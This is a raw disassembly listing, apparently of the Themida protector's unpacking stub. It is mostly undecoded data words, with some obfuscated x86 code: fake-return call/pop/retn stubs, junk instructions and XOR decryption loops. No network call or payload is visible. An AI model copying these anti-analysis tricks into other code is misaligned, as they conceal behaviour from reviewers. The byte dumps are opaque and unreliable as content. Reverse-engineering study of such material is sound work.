		dd 2E18317h, 57006A61h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0F7E3A356h, 3AAEF52Eh, 6820FDAh
		dd 8B000000h, 140C399Dh, 0D18B5006h, 81240489h,	266E87DBh
		dd 41B58952h, 8B06142Ah, 14219185h, 0D38B6606h,	840FC00Bh
		dd 11h,	15559D8Bh, 95FF0614h, 6141BE5h,	70D28166h, 6D85C716h
		dd 106140Dh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BCE7C353h,	0D788C7FBh
		dd 58D9D89h, 0E3810614h, 6F95F3FAh, 83DF8B66h, 141999BDh
		dd 840F0006h, 14h, 2B45958Bh, 95FF0614h, 6142CADh, 9D8B95B7h
		dd 6143069h, 24F1BD83h,	0F000614h, 1A84h, 0CE900h, 0C5B50000h
		dd 7E21B031h, 6240C8F9h, 95FF753Ch, 6140F7Dh, 83D88B66h
		dd 140905BDh, 840F0006h, 46h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B9C35242h,	8AFCEF96h, 5379FA11h
		dd 0BDBD836Dh, 6142Ch, 14850Fh,	95230000h, 61434FDh, 3079958Bh
		dd 95FF0614h, 6140EFDh,	0BD83D78Ah, 6141D9Dh, 5C840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E1CBC357h, 0F60FA7Ah,	682h, 7D9D8B00h
		dd 8006142Ch, 8161C0F5h, 141A4985h, 400306h, 81D38A00h
		dd 1430C185h, 400306h, 10800F00h, 0E9000000h, 0Bh, 0F92816D6h
		dd 8F4296C2h, 0F83C50Fh, 58D0F31h, 0BB000000h, 44A45547h
		dd 5C788D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0AC51FDC3h, 0FB749A87h, 2950935Fh
		dd 141B7D8Dh, 60018906h, 0ACD28166h, 31B589C6h,	61061420h
		dd 12E9C233h, 26000000h, 28F1F6Fh, 0EEC8E727h, 0B5EC866Eh
		dd 0CF5B1ECCh, 4418927h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 2FC35747h, 46F5B6EBh,	2C1D1952h, 0BE800h
		dd 84C40000h, 6060F13Bh, 1E63CAF9h, 0F19D8B60h,	5B061420h
		dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C02BA6C3h, 6B6E0D71h, 0E8164671h, 11h, 0D0C6C249h
		dd 0FC2B52F8h, 19F62EA6h, 10D608B9h, 0D7B70F9Eh, 0DD9D295Bh
		dd 8D06140Ah, 145C848Dh, 49BD8906h, 8906141Dh, 3DB58901h
		dd 33061431h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0BD8B9E9Eh, 7F2113D4h, 23DA8B66h
		dd 1423599Dh, 4418906h,	2820Fh,	1BB30000h, 2F41BD83h, 0F000614h
		dd 3184h, 0F3816600h, 0B52917EAh, 61402DDh, 1FC195FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 8DCECAC3h, 0BD832F26h, 6142401h, 2E850F01h
		dd 0FC000000h, 28E9h, 0D98D8900h, 8B06140Fh, 145E29B5h
		dd 6C706h, 8B000000h, 145BA0B5h, 6C706h, 0CF000000h, 0A503E381h
		dd 8B662D03h, 6DBD83D7h, 6140Dh, 18B840Fh, 9D890000h, 61425E1h
		dd 0BD83F88Ah, 6141BBDh, 45850F01h, 9000001h, 141FE1BDh
		dd 138D8B06h, 6A06144Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 3E00C356h, 6978EFD2h
		dd 0D381667Ah, 958B472Bh, 6142F99h, 6A0001C6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6D86C350h, 735DE762h, 128B25FDh, 0FE960h, 0A70E0000h
		dd 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 4E869h, 800000h
		dd 52520000h, 5BD08B66h, 0B960505Bh, 13185AEDh,	24448B61h
		dd 800F04h, 8B000000h, 0CE8A6000h, 24448961h, 81BA6604h
		dd 0BD8958F9h, 6143169h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0CFCF13C3h, 815765CBh
		dd 32C1CFEBh, 0BBB35B58h, 352595FFh, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 81674DC3h
		dd 618DD0E1h, 0F11958Bh, 95FF0614h
		dd 6141669h, 8BD88B66h,	14008195h, 138D8B06h, 6A06144Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 5193C351h, 0DD8AA06Ah, 0FEA572C9h, 0E4E68001h
		dd 203DBD83h, 0F010614h, 2485h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B90FBD7h
		dd 14318595h, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D63CC357h,	0B1BD83F5h
		dd 61430h, 0BD830975h, 6141AE1h, 501A7400h, 8BC08B53h
		dd 141A4985h, 49858906h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h
		dd 0E1BD8358h, 6141Ah, 53501874h, 1A49858Bh, 85890614h
		dd 6141A49h, 0B4299D8Dh, 0D3FF0616h, 0F56585Bh,	58Ch, 7101BA00h
		dd 0E85A2D47h, 0Dh, 0AFA9BCFDh,	9A8F470h, 935B822Dh, 138E0F6Ch
		dd 0E9000000h, 0Eh, 3FFF91Fh, 9F653618h, 0EF9932B2h, 8B5A16B9h
		dd 0DB8166C0h, 0BD831B1Fh, 6140D6Dh, 27850F00h,	8B000000h
		dd 14033D95h, 0E5BD8306h, 61419h, 14840Fh, 0FE90000h, 10000000h
		dd 118BD202h, 98F8E689h, 0C1165147h, 0BD8328AAh, 6140D6Dh
		dd 19840F00h, 89000000h, 1409E985h, 35BD8306h, 61425h
		dd 6840Fh, 95330000h, 6141501h,	0D6DBD83h, 0F000614h, 3384h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 9DF4E3B2h, 35BD83AAh, 61425h, 6840Fh, 85890000h
		dd 6140539h, 0D6DBD83h,	0F000614h, 1584h, 83DA8B00h, 140551BDh
		dd 840F0006h, 6, 2375958Bh, 0BD830614h,	6140D6Dh, 52840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0DDC4C350h, 10E952h, 800D0000h
		dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 835B5B76h, 1404B9BDh
		dd 840F0006h, 11h, 0DBA6656h, 95FF5AB5h, 61404D5h, 0D88B6660h
		dd 66C08B61h, 8336E4BAh, 1430B1BDh, 9750006h, 1AE1BD83h
		dd 74000614h, 8B53501Ah, 0C1858BC0h, 89061430h,	1430C185h
		dd 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh, 18740006h
		dd 858B5350h, 61430C1h,	30C18589h, 9D8D0614h, 616B442h
		dd 585BD3FFh, 1C31958Bh, 8B660614h, 31C08BD9h, 1419059Dh
		dd 0ADB58906h, 83061402h, 140D6DBDh, 840F0006h,	497h, 0FA19D8Bh
		dd 0E2810614h, 779FA672h, 1D51BD83h, 0F020614h,	3684h
		dd 0FFBA6600h, 1BD8355h, 1061424h, 25850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0FB56A2C3h, 687BD5C1h, 60DEEE80h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0E8C35646h,	8EEFD8h, 93635580h
		dd 6D9D01D4h, 0BB06142Fh, 580F49A3h, 4D138D8Bh,	0B5890614h
		dd 6142C35h, 950101FEh,	6141475h, 4E8h,	8000h, 11E85300h
		dd 4A000000h, 96643E3Ah, 422482ACh, 33FFF85h, 393D80D8h
		dd 5E8h, 0F687D800h, 5A5A7E10h,	12E9505Ah, 53000000h, 0B4753F21h
		dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 24448B92h, 9E904h
		dd 342F0000h, 785ED287h, 8BE1286Eh, 0BA665700h,	895BF24Ah
		dd 0E8042444h, 5, 0C517AAA6h, 0D78B665Bh, 6A585Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 5ECA82C3h, 0D1D1E6E0h, 0AEE28166h, 89FF6AA6h, 14261585h
		dd 2595FF06h, 6A061435h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0E56BC353h,	0C46238A3h
		dd 0CB8166E0h, 296140EBh, 142F299Dh, 0F5BD8D06h, 6A061412h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0A186C353h, 0E8604646h, 12h, 71567876h, 0A1E7864Bh
		dd 681C5BD5h, 0DFB1FB66h, 8B66D787h, 8D315ED0h,	6140D01h
		dd 1C4F8B61h, 74EB8166h, 60016A6Dh, 3850Fh, 0B70F0000h
		dd 0DE9DBh, 90B50000h, 7463E8D6h, 0FCE283C2h, 61E3680Fh
		dd 0A0BA6691h, 8B665008h, 6A91D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 490E74C3h, 1B306D7Ch
		dd 8DD18B00h, 173E0685h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0E6D8B949h, 9D0BBB99h
		dd 61400B5h, 2CD99D8Bh,	0D0FF0614h, 6659509h, 4F8B0614h
		dd 69958920h, 6A06142Eh, 0E5958B03h, 50061402h,	89D38B66h
		dd 6A240Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD0902C3h, 614102Dh, 13AD9D8Bh, 0B70F0614h
		dd 6858DDAh, 8B06173Eh,	1423299Dh, 89D0FF06h, 1421658Dh
		dd 8DF38A06h, 1412F5BDh, 0DBB70F06h, 0F1C4F8Bh,	685h, 0B1BD8900h
		dd 6A061429h, 50D38B01h, 89D08B66h, 66FC240Ch, 858DD08Bh
		dd 6173E06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0CAC35040h, 0F78A6C7Eh,	8BE1BA66h, 13E8D0FFh, 0EB000000h
		dd 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh, 0F780755Fh
		dd 4F8B5AD4h, 919D8920h, 6A061411h, 57006A03h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 58EFB22Ah
		dd 0BE81Dh, 82260000h, 0D008E3E6h, 954A396Ah, 0C19D898Dh
		dd 5A061405h, 10E95091h, 48000000h, 11377253h, 0FF4659Dh
		dd 1147D850h, 91DFBF8Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 4FC35040h, 8F0FE734h,	0Dh, 0F1816660h
		dd 0B5233724h, 614030Dh, 6858D61h, 6A06173Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 399BC355h, 0DCFD68B9h, 1B7C2F3Ch, 46D9D03h, 0D0FF0614h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F5C35646h
		dd 8BDA8B66h, 144D138Dh, 916DBB06h, 1FE3306h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F6C35040h, 0CCDD5F65h
		dd 0EC2B2286h, 31958B56h, 5B06142Ah, 4D13858Bh,	0FE0614h
		dd 5B98589h, 16A0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 8DC35343h, 8D297168h,	6140D69h, 360E7668h
		dd 0D78B66EDh, 89243481h, 6A12C991h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 4D64C355h
		dd 238199BCh, 0D9838F86h, 1BFD9509h, 858D0614h,	6173E10h
		dd 83F5D0FFh, 1419E5BDh, 840F0006h, 106h, 159D8Bh, 0BD830614h
		dd 61412CDh, 0F3850F01h, 0E8000000h, 14h, 0EE8650BDh, 0D66547DCh
		dd 0F65D102Bh, 25D1524Eh, 70779CD7h, 5CF575BBh,	8D8D5B22h
		dd 6173E1Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	8BC35646h, 94FD70AEh, 0DCC686F8h, 60036A3Fh, 0BF0F65B2h
		dd 16A61D7h, 2EF1952Bh,	0D1FF0614h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 8C35040h, 0B0387165h, 9D8B182Eh
		dd 614223Dh, 8EF5B860h,	800F695Bh, 6, 2C299D8Bh, 6A610614h
		dd 8E85301h
		dd 0ED000000h, 0F05AF32Eh, 0BB579D3Bh, 4958D0B4h, 16A5B5Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 73C35747h
		dd 6850F60h, 89000000h,	140AFDB5h, 858D8B06h, 61061430h
		dd 9DBBD1FFh, 0E862DBB9h, 0FA476EB5h, 0D899D8Bh, 206A0614h
		dd 25398D31h, 0FF6A0614h, 8BEB8166h, 94CA81FFh,	0FF5EA20Ah
		dd 14352595h, 0B806h, 0BD890000h, 61430ADh, 840FC00Bh
		dd 2Ah,	0F659D8Bh, 0BD830614h, 6141A71h, 17840F00h, 0FF000000h
		dd 141DA995h, 0B880F06h, 0E9000000h, 6,	0A21E157Ch, 858BFEA2h
		dd 6142D01h, 6860Fh, 85890000h,	61421A9h, 6A0000C6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E84EC352h, 0Dh, 16BEEFh, 0FCF60BB8h, 3EE39C43h, 0CD850953h
		dd 5A06140Fh, 15BD9D89h, 80580614h, 8C66A6D7h, 51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0C7AD5AAEh, 958B9C5Ah, 614253Dh, 0F04C1F6h, 9184h, 0DEB70F00h
		dd 0C91385BBh, 84E942h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 807F86C3h, 0B58B76DEh
		dd 6142421h, 6E9h, 0B2C68400h, 81F6E873h, 1180C6h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 7BB258CCh, 6C7h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 8465ADC3h, 265FA83Ah
		dd 22F99503h, 0B35E0614h, 0F883C1h, 0B05840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0BD41DC3h, 1410B99Dh, 1F88306h, 186850Fh, 0BA660000h
		dd 0B8582Ah, 53000000h,	0F5B589h, 0B5A0614h, 0F5840FC0h
		dd 0F000000h, 680h, 399D2B00h, 8306142Ch, 840F01F8h, 0F3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h
		dd 0D68BC87Bh, 0D8E28166h, 3F88379h, 40840Fh, 958B0000h
		dd 61431EDh, 0B8h, 8DAAB200h, 5B89E0BDh, 6820F00h, 1000000h
		dd 14230D9Dh, 6AE7FF06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 80FBC357h, 1B8B4DEh
		dd 89000000h, 14109D95h, 0E0BD8D06h, 6A005B89h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0F57CC353h, 0E7FF3344h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 63C35747h, 0DF8DB139h, 1FC23803h, 9E938h
		dd 17CE0000h, 9CB5BC89h, 8B1D01EDh, 14086995h, 18E0F06h
		dd 0FC000000h, 439FBD8Dh, 8C0F0614h, 0
; ---------------------------------------------------------------------------
		jmp	loc_54F90E
; ---------------------------------------------------------------------------
		mov	dh, bl
		mov	dword ptr [ebp+6144D6Eh], 5
		push	0
		push	edi
		call	sub_54F694
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F694	proc near		; CODE XREF: Themida_:0054F68Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_54F694	endp

; ---------------------------------------------------------------------------
		mov	bh, 0Fh
		mov	edi, 0D5BD89D8h
		sbb	[esi+eax], edx
		mov	eax, 5
		push	0
		push	ebp
		call	sub_54F6BE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F6BE	proc near		; CODE XREF: Themida_:0054F6B6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_54F6BE	endp

; ---------------------------------------------------------------------------
		dw 9BF0h
		dd 899E9636h, 1430ADB5h, 8EAE906h, 950B0000h, 6142BA1h
		dd 0F02F883h, 0C885h, 7E800h, 0F5570000h, 939EF62Dh, 5BD58A61h
		dd 0B8h, 0BD8B6000h, 6142539h, 0FC00B61h, 6A84h, 8D858900h
		dd 83061419h, 840F01F8h, 0FFFFFF5Fh, 2635B529h,	0F8830614h
		dd 0CB840F03h, 89FFFFFEh, 14199D8Dh, 0B806h, 9D8B0000h
		dd 6142C99h, 89E0BD8Dh,	6A005Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 6EB782C3h, 0B742AE4Dh
		dd 0CB8166AEh, 950B03A3h, 61421B9h, 6EBBE7FFh, 8D307392h
		dd 144597BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 33173DBEh, 140C8D95h, 4D958906h
		dd 0E9061405h, 15Eh, 0FE1F3FBBh, 3F88363h, 4D850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 3FEA11C3h, 7118D484h, 7E9h, 0CDDD6600h, 0BE9616CCh
		dd 8DDBBF0Fh, 14472BBDh, 6E906h, 86320000h, 0D7C0A1B8h
		dd 109E9h, 25952300h, 83061416h, 850F05F8h, 2Ah, 16799D03h
		dd 0A9E90614h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6651C353h, 0F883DE8Bh
		dd 3D850F06h, 8B000000h, 23BD8DDFh, 6A061449h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0DA54C350h, 663F315Ah, 89AC98BAh, 142B3DBDh,	90E906h
		dd 8D310000h, 61413CDh,	0F07F883h, 3885h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 1D29BA3Ch, 0BD8D67DEh, 6141DB5h, 0E799D8Bh, 0BDE90614h
		dd 89000000h, 14319DBDh, 0AF88306h, 40850Fh, 0B5010000h
		dd 6142C91h, 4B1BBD8Dh,	6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0C3B137C3h, 6E9h, 78F000h
		dd 0E980864Ah, 6, 1CD6F281h
		db 0A6h, 19h
; ---------------------------------------------------------------------------


loc_54F90E:				; CODE XREF: Themida_:0054F678j
		push	edi
		push	0
		push	edi
		call	sub_54F91A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F91A	proc near		; CODE XREF: Themida_:0054F912p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_54F91A	endp

; ---------------------------------------------------------------------------
		dw 0F62h
; ---------------------------------------------------------------------------
		mov	bh, 0DAh
		mov	ecx, 0FF6FD85h
		mov	dx, cx


loc_54F936:				; CODE XREF: Themida_:0054F96Aj
		cmp	dword ptr [edi], 0
		jz	loc_54F975
		add	ebx, [ebp+6140F79h]
		xor	[edi], cl
		jle	loc_54F959
		js	loc_54F959
		mov	[ebp+6142FB9h],	ecx


loc_54F959:				; CODE XREF: Themida_:0054F947j
					; Themida_:0054F94Dj
		ror	ecx, 1
		mov	edx, 403078CEh
		inc	edi
		movzx	edx, ax
		sub	[ebp+6140BB5h],	edx
		jmp	loc_54F936
; ---------------------------------------------------------------------------
		add	[ebp+6142B31h],	ebx


loc_54F975:				; CODE XREF: Themida_:0054F939j
		pop	edi
		sub	[ebp+61419C9h],	edx
		mov	[ebp+6144D17h],	edi
		mov	[ebp+61416F5h],	ebx
		mov	ebx, eax
		lea	ecx, [ebp+6140795h]
		push	0
		push	esi
		call	sub_54F99B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F99B	proc near		; CODE XREF: Themida_:0054F993p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_54F99B	endp

; ---------------------------------------------------------------------------
		lodsb
		inc	edi
		mov	bx, 0B6C0h
		push	dword ptr [ebp+6142EF9h]
		push	0
		push	eax
		call	sub_54F9C2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F9C2	proc near		; CODE XREF: Themida_:0054F9BAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_54F9C2	endp

; ---------------------------------------------------------------------------
		dw 17C0h
; ---------------------------------------------------------------------------
		fild	dword ptr [edi+18016EC3h]
		push	esi
		mov	edx, 29A4C648h
		pop	ebx
		call	sub_54F9F1
		stc
		adc	byte ptr [edx+edi-68h],	19h
		sti
		inc	edx
		retn	35D1h

; =============== S U B	R O U T	I N E =======================================



sub_54F9F1	proc near		; CODE XREF: Themida_:0054F9E1p

; FUNCTION CHUNK AT 0054FAEC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0054FC9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0054FCB9 SIZE 00000003 BYTES

		mov	bx, 5F95h
		pop	ebx
		lea	eax, [ebp+616A99Ah]
		push	eax
		lea	edi, [ebp+61453FBh]
		lea	ecx, [ebp+6146E31h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_54FA10:				; CODE XREF: sub_54F9F1+25j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_54FA10
		lea	esi, [ebp+6146D96h]
		lea	ecx, [ebp+6146E49h]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_54FA79
		cmp	dword ptr [ebp+6141A71h], 0
		jz	short loc_54FA42
		call	dword ptr [ebp+6141DA9h]


loc_54FA42:				; CODE XREF: sub_54F9F1+49j
		mov	esi, [ebp+6144D17h]
		lea	eax, [ebp+616A99Ah]
		call	eax
		lea	eax, [ebp+614432Bh]
		call	eax
		mov	dword ptr [ebp+6143495h], 1
		mov	esp, [ebp+6143505h]
		mov	esi, [ebp+6142679h]
		mov	ebp, [ebp+6142E29h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54FA79:				; CODE XREF: sub_54F9F1+40j
		mov	[ebp+614210Dh],	edi
		mov	bl, ch
		sbb	ebx, 52B5F971h
		cmp	dword ptr [ebp+6142B95h], 0
		jz	loc_54FAEC
		push	0
		push	ebx
		call	sub_54FA9F
		and	[ebx-3Dh], bl
sub_54F9F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54FA9F	proc near		; CODE XREF: sub_54F9F1+A6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_54FA9F	endp

; ---------------------------------------------------------------------------
		db 16h
		dd 0B97AE6ABh, 66753A6Bh, 4B3BD281h, 91195FFh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 127284C3h, 6E5B0F85h, 958BFCA9h, 6140B81h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54F9F1


loc_54FAEC:				; CODE XREF: sub_54F9F1+9Dj
		cmp	dword ptr [ebp+61403D9h], 0
		jnz	loc_54FC9B
		push	0
		push	ebx
		call	sub_54FB04
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_54F9F1

; =============== S U B	R O U T	I N E =======================================



sub_54FB04	proc near		; CODE XREF: sub_54F9F1+10Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_54FB04	endp

; ---------------------------------------------------------------------------
		dd 994B62A9h, 0FEE49C76h, 83D8B70Fh, 1412CDBDh,	850F0106h
		dd 16Fh, 0BD83DA8Bh, 6143181h, 60840F00h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 7913C350h, 81A8871Ah, 57B803EBh, 6ABD837Fh, 6144Dh
		dd 12D840Fh, 0DE90000h,	6000000h, 8C92FA30h, 0DDA338CAh
		dd 0FA7EB0E8h, 0A99A858Dh, 6A0616h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 68BBA6C3h
		dd 0BE820E1Fh, 0F398DB3h, 82h, 17B58B00h, 8B06144Dh, 141C7195h
		dd 60D0FF06h, 22F58D8Bh, 0B52B0614h, 6141A55h, 5985C661h
		dd 5406141Ah, 0E09EBB50h, 685A752Ch, 0BB17B878h, 6E9h
		dd 0BE04A300h, 8172845Dh, 68C2434h, 6A4459h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 39BAF9C3h
		dd 0FA4DE27Ah, 0B70F9A8Dh, 45B5FFD8h, 6A061411h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8D0EC352h, 143B1385h, 25BA6606h, 89D0FF8Dh, 140D69BDh
		dd 80006A06h, 0B70FB5F2h, 9FF6AD3h, 141C999Dh, 8BD0FF06h
		dd 1404319Dh, 19B5FF06h, 89061432h, 1416DD85h, 0F995FF06h
		dd 6A06142Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 67CDC356h, 3D9D2B01h
; ---------------------------------------------------------------------------
		sbb	[esi+eax], edx
; START	OF FUNCTION CHUNK FOR sub_54F9F1


loc_54FC9B:				; CODE XREF: sub_54F9F1+102j
		mov	esi, [ebp+6144D17h]
		push	esi
		pusha
		or	[ebp+6140C65h],	eax
		jmp	loc_54FCB9
; END OF FUNCTION CHUNK	FOR sub_54F9F1
; ---------------------------------------------------------------------------
		dw 4802h
; ---------------------------------------------------------------------------
		adc	[eax], dl
		mov	[esi], al
		mov	al, ds:365F38D6h
; START	OF FUNCTION CHUNK FOR sub_54F9F1


loc_54FCB9:				; CODE XREF: sub_54F9F1+2B8j
		popa
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_54F9F1
; ---------------------------------------------------------------------------
		jg	loc_54FCCF
		pusha
		and	eax, [ebp+6142E21h]
		and	ax, 3207h
		popa


loc_54FCCF:				; CODE XREF: Themida_:0054FCBCj
		mov	esi, [ebp+6142D01h]
		jnb	loc_54FCE1
		mov	[ebp+6140C89h],	ecx


loc_54FCE1:				; CODE XREF: Themida_:0054FCD5j
		or	esi, esi
		jz	loc_54FD33
		jnz	loc_54FD00
		pusha
		pusha
		popa
		jmp	loc_54FCFF
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4D044876h
		db 5Ch,	22h, 59h
; ---------------------------------------------------------------------------


loc_54FCFF:				; CODE XREF: Themida_:0054FCF2j
		popa


loc_54FD00:				; CODE XREF: Themida_:0054FCE9j
		mov	byte ptr [esi],	0
		push	0
		push	esi
		call	sub_54FD0E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FD0E	proc near		; CODE XREF: Themida_:0054FD06p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_54FD0E	endp

; ---------------------------------------------------------------------------
		dw 0F171h
		dd 66B5DD5Eh, 5E9DE8Bh,	50000000h, 596D0723h
; ---------------------------------------------------------------------------
		sbb	dl, 51h


loc_54FD33:				; CODE XREF: Themida_:0054FCE3j
		mov	[ebp+6144D1Fh],	eax
		jp	$+6
		cmp	eax, 0
		jz	loc_550037
		push	0
		push	ecx
		call	sub_54FD53
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FD53	proc near		; CODE XREF: Themida_:0054FD4Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_54FD53	endp

; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
